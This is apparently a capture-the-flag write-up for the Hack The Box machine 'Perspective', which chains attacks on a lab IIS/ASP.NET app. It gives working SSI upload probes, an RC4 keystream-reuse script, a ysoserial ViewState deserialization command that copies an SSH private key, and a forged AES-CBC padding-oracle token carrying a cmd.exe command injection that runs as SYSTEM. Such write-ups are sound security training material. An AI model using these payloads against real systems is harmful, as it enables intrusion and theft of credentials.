Post

Perspective

An IIS parts-catalog app processes .shtml files through Server-Side Includes regardless of Content-Type, leaking the ASP.NET machineKey from web.config. RC4 keystream reuse on a staging encrypt oracle decrypts the ViewStateUserKey; a TextFormattingRunProperties ViewState gadget exfills an SSH private key. An AES-CBC padding oracle on the internal staging app then forges a command-injection payload that runs as SYSTEM.

Perspective

Overview

Perspective is an Insane-difficulty Windows machine built around two independent cryptographic attack chains. The foothold abuses a split in upload validation: the web app checks Content-Type but not file extension, so a .shtml file passes the filter and IIS processes its Server-Side Include directives — leaking the ASP.NET machineKey from web.config. A second flaw, a static-key RC4 oracle on the staging app, yields the ViewStateUserKey, enabling a forged ViewState with the TextFormattingRunProperties gadget chain to achieve RCE. Privilege escalation chains a CBC padding oracle on an internal handler with an OS command injection sink to copy the root flag as SYSTEM.

Recon

PortService
22OpenSSH
80IIS — perspective.htb (ASP.NET WebForms)
1
nmap -sC -sV 10.129.227.158

Port 80 hosts perspective.htb, a parts-catalog / supplier portal built on ASP.NET WebForms. The app requires registration before uploading part images.

Enumeration

After registering an account (Q1=1, Q2=5, Q3=9 security questions), the image upload endpoint at /Account/UploadImage accepts files and serves them back from /Images/. The upload filter checks Content-Type only — not the file extension — making .shtml bypass straightforward.

Uploading a probe and fetching it reveals SSI is active:

1
2
3
4
5
6
printf '<!--#echo var="APPL_PHYSICAL_PATH"--> <!--#exec cmd="whoami"-->' > /tmp/probe.shtml
curl -s -X POST 'http://10.129.227.158/Account/UploadImage' \
  -H 'Host: perspective.htb' -b /tmp/persp.txt \
  -F 'file=@/tmp/probe.shtml;type=image/jpeg'
curl -s 'http://10.129.227.158/Images/probe.shtml' -H 'Host: perspective.htb'
# → C:\WEBAPPS\PartImages_Prod\   iis apppool\perspective

A second probe reading <!--#include file="web.config"--> returns the machineKey block with static validationKey and decryptionKey, and shows ViewStateUserKey is set to an ENC1:... encrypted blob.

Foothold

Step 1 — RC4 keystream reuse → decrypt ViewStateUserKey

The internal staging app exposes a /encrypt endpoint that RC4-encrypts arbitrary input with a static key. Sending a known plaintext, XOR-ing the ciphertext with the plaintext recovers the raw keystream, which XOR-ed against the ENC1:... blob yields the plaintext ViewStateUserKey. This is a stream cipher keystream reuse — any stream cipher with a fixed, non-random key is broken the moment two ciphertexts share the same keystream.

1
2
3
4
5
6
7
import requests, base64
r = requests.post('http://10.129.227.158/encrypt', json={'message': 'AAAAAAAAAAAAAAAAAAAA'})
ct  = bytes.fromhex(r.json()['ciphertext'])
ks  = bytes(a ^ b for a,b in zip(ct, b'AAAAAAAAAAAAAAAAAAAA'))
enc = bytes.fromhex('<ENC1_hex>')
print(bytes(a ^ b for a,b in zip(ks, enc)).decode())
# → SAltysAltYV1ewSTaT3

Step 2 — ViewState deserialization RCE

With validationKey, decryptionKey, __VIEWSTATEGENERATOR, and the plaintext ViewStateUserKey, ysoserial.exe’s -p ViewState -g TextFormattingRunProperties produces a signed ViewState embedding a WPF XAML ObjectDataProvider → Process.Start gadget chain. This is deserialization of untrusted data — ASP.NET’s LosFormatter deserializes the ViewState payload during page lifecycle, instantiating the gadget chain.

1
2
3
4
5
6
7
8
9
10
WINEPREFIX=/home/kali/.wine_pov_dn48 WINEDEBUG=-all \
  wine /home/kali/.wine_pov_dn48/drive_c/ers/ysoserial.exe \
  -p ViewState -g TextFormattingRunProperties \
  -c "cmd.exe /c type C:\Users\webuser\.ssh\id_rsa > C:\WEBAPPS\PartImages_Prod\Images\idrsa.txt" \
  --decryptionalg=AES --generator=CD85D8D2 \
  --decryptionkey=<redacted> \
  --validationalg=SHA1 \
  --validationkey=<redacted> \
  --viewstateuserkey=SAltysAltYV1ewSTaT3 2>/dev/null \
  | tr -d '\r\n' | python3 -c "import sys,urllib.parse; print(urllib.parse.unquote(sys.stdin.read()))"

POST the URL-decoded output as __VIEWSTATE to /Account/Login. Both valid and invalid ViewStates return 302 → /500.html, so confirm RCE by checking whether /Images/idrsa.txt appears.

1
2
3
4
5
curl -s 'http://10.129.227.158/Images/idrsa.txt' -H 'Host: perspective.htb' \
  > /home/kali/htb/perspective/loot/id_rsa
chmod 600 /home/kali/htb/perspective/loot/id_rsa
ssh -i /home/kali/htb/perspective/loot/id_rsa \
  -L 8009:127.0.0.1:8009 [email protected]

User flag

1
2
cat C:\Users\Webuser\Desktop\user.txt
# HTB{...}

Shell lands as webuser. The SSH -L 8009:127.0.0.1:8009 tunnel forwards the internal staging app.

Privilege Escalation

Padding oracle → ciphertext forgery → SYSTEM

http://localhost:8009/handlers/changePassword.ashx decrypts a token parameter with AES-CBC and returns the literal string "Padding is invalid" when PKCS#7 padding is wrong. This is a CBC padding oracle: an attacker can submit modified ciphertexts and read the padding-valid/invalid signal to recover — or forge — any block of plaintext.

The decrypted token is passed directly to PasswordReset.exe <email> <pass1> <pass2> on the command line. The & metacharacter in cmd.exe separates commands, so a payload like [email protected]& copy root.txt webroot & runs an extra command between the two & separators — this is OS command injection. Because PasswordReset.exe runs under the IIS worker process as SYSTEM, the injected copy also runs as SYSTEM.

Create perspective.ini:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[default]
name = perspective
URL = http://localhost:8009/handlers/changePassword.ashx
httpMethod = POST
postFormat = form-urlencoded
inputMode = parameter
encodingMode = base64Url
vulnerableParameter = token
additionalParameters = {"password1":"S0meP@ss!","password2":"S0meP@ss!"}
blocksize = 16
httpProxyOn = False
ivMode = firstblock
iv = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]
oracleMode = negative
oracleText = Padding is invalid
1
2
3
4
5
pip3 install -q httpx validators
cd /home/kali/Desktop/Tools/pyOracle2
python3 blockbuster/blockbuster.py -m encrypt \
  -i "[email protected]& copy C:\Users\Administrator\Desktop\root.txt C:\WEBAPPS\PartImages_Prod\Images\root.txt &" \
  -c /home/kali/htb/perspective/perspective.ini

PyOracle2 makes ~14,000 oracle queries (7 AES blocks × ~2,000 requests each) to forge the ciphertext. POST the result:

1
2
3
4
5
curl -s -X POST 'http://localhost:8009/handlers/changePassword.ashx' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-urlencode 'token=<pyoracle2_output>' \
  --data-urlencode 'password1=S0meP@ss!' \
  --data-urlencode 'password2=S0meP@ss!'

The response body contains "1 file(s) copied." — the SYSTEM copy succeeded.

Root flag

1
2
curl -s 'http://10.129.227.158/Images/root.txt' -H 'Host: perspective.htb'
# HTB{...}

Full compromise via SYSTEM-level command injection through a forged AES-CBC padding-oracle ciphertext.

This post is licensed under CC BY 4.0 by the author.